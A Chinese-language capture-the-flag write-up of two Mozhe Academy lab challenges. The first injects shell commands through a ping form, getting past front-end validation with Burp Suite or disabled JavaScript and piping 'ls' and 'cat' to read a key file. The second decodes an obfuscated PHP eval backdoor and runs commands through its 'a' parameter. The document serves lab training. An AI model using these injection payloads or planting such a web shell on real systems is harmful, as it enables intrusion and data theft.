墨者“命令注入执行分析”和“代码分析溯源”案例

15 阅读1分钟

本文所涉及案例均可在墨者学院(https://www.mozhe.cn/)中搜索到,均使用墨者学院在线靶场。

1. 命令注入执行分析(https://mozhe.cn/bug/detail/12

步骤:

1.1 信息收集

查看页面源代码是否有key,右键查看源代码:

rce1.png

发现没有key,确定操作系统类型,f12,刷新页面并查看网络:

rce2.png

确定为linux ubuntu,试一试ping功能,使用管道符查看一下当前文件夹文件列表:

127.0.0.1 | ls

rce3.png

结果提示格式不正确,接下来可以使用两种方法绕过前端校验:

1.2 使用bp绕过前端校验

使用bp抓包,输入127.0.0.1后进行bp拦截,发送重试模块,修改为127.0.0.1 | ls,响应中出现了key_305332333817577.php:

rce4.png

为了打开key_305332333817577.php文件,需要将请求改为127.0.0.1 | cat<key_305332333817577.php,<为重定向,目的为模仿命令行中的回车效果:

rce5.png

从响应获取到key。

1.3 禁用js绕过前端校验

使用火狐渗透版禁用js,然后输入127.0.0.1 | ls

rce6.png

显示key_305332333817577.php文件,输入127.0.0.1 | cat<key_305332333817577.php:

rce7.png

2. 代码分析溯源(https://mozhe.cn/bug/detail/13

步骤:

先信息收集,查看页面源代码是否有key:

rce8.png

页面显示:

<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>

可以通过访问查看代码内容,先将代码改为打印:

<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>

再放入phpstudy的www文件夹中,通过浏览器打开:

rce9.png

说明可以通过a接收参数,将命令传入a验证:

http://*/f.php?a=ls

rce10.png

查看key_199932769113671.php文件:

http://*/f.php?a=cat<key_199932769113671.php

rce11.png

显示key。